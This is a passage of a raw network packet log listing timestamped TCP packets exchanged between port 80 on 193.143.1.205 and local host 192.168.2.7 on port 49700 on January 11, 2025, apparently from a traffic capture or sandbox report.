Jan 11, 2025 06:07:51.943084002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943095922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943108082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943118095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943129063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943141937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943141937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943156958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943173885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943183899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943216085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943598032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943614960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943636894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943661928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943662882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943701029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943706036 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.943715096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943727970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.943756104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.944116116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944150925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944160938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.944169998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944183111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944217920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944227934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.944230080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944272995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.944329023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944341898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.944382906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.959448099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.959484100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.959506989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.959515095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.959526062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.959561110 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.993701935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993716955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993735075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993747950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993760109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993772030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993783951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.993817091 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.993874073 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.994004011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994015932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994023085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994059086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.994177103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994189024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994199991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.994230032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.994255066 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029038906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029058933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029117107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029136896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029143095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029187918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029218912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029279947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029293060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029305935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029319048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029329062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029350996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029544115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029565096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029578924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029591084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029604912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029618025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029628992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029659033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.029670954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029683113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029692888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.029721975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030172110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030184031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030195951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030206919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030219078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030240059 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030272961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030575991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030589104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030600071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030621052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030632973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030638933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030651093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030658007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030663967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030674934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030684948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030687094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030699015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030710936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030711889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030723095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.030754089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.030781984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.031475067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031486988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031502008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031523943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031529903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.031558037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031568050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.031569958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031583071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031594038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031605959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031611919 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.031618118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.031639099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.031661034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.046164036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.046181917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.046199083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.046230078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.046231985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.046242952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.046284914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080501080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080549002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080559015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080569983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080581903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080611944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080648899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080662012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080715895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080717087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080730915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080741882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080751896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080761909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080768108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080790043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080806017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.080986023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.080996037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.081034899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.115984917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116003036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116014957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116044998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116071939 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116105080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116137981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116179943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116190910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116233110 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116239071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116254091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116278887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116290092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116296053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116302013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116317034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116344929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116369009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116468906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116478920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116493940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116518021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116540909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116720915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116734982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116744995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116760015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116776943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116785049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116796017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116806030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116806984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116817951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116830111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.116847992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.116889954 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117183924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117208004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117218971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117229939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117240906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117252111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117268085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117286921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117310047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117360115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117372990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117383003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117393970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117404938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117408991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117417097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117429018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117430925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117441893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.117453098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117495060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.117990971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118001938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118014097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118045092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.118079901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118092060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118115902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118129015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118130922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.118139982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118151903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118158102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.118184090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.118215084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118228912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.118257999 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.133122921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.133133888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.133143902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.133153915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.133164883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.133176088 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.133220911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167362928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167391062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167402029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167412996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167423964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167434931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167448997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167498112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167541981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167553902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167572975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167582989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167593002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167603970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167618990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167752028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167763948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167774916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.167814016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.167865038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.202656031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202667952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202683926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202711105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202721119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202730894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202737093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202766895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.202801943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202833891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.202845097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202853918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.202858925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202902079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202907085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.202914953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.202955008 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203082085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203094006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203104973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203140974 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203160048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203172922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203198910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203208923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203216076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203219891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203239918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203269958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203506947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203520060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203531027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203541994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203552961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203778982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203789949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203805923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203815937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203826904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203830004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203838110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203850985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203866959 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203891039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203905106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203931093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203942060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203953028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203963041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203967094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.203975916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203988075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.203996897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204010010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.204035044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.204500914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204511881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204523087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204533100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204545021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204555988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204567909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204633951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204643965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204654932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204664946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204675913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204687119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204698086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204708099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204720020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204760075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204783916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.204808950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204821110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.204859972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.219793081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.219816923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.219836950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.219849110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.219866991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.219887018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.219937086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.254189014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254209042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254220009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254230022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254241943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254252911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254292011 CET	49700	80	192.168.2.7	193.143.1.205
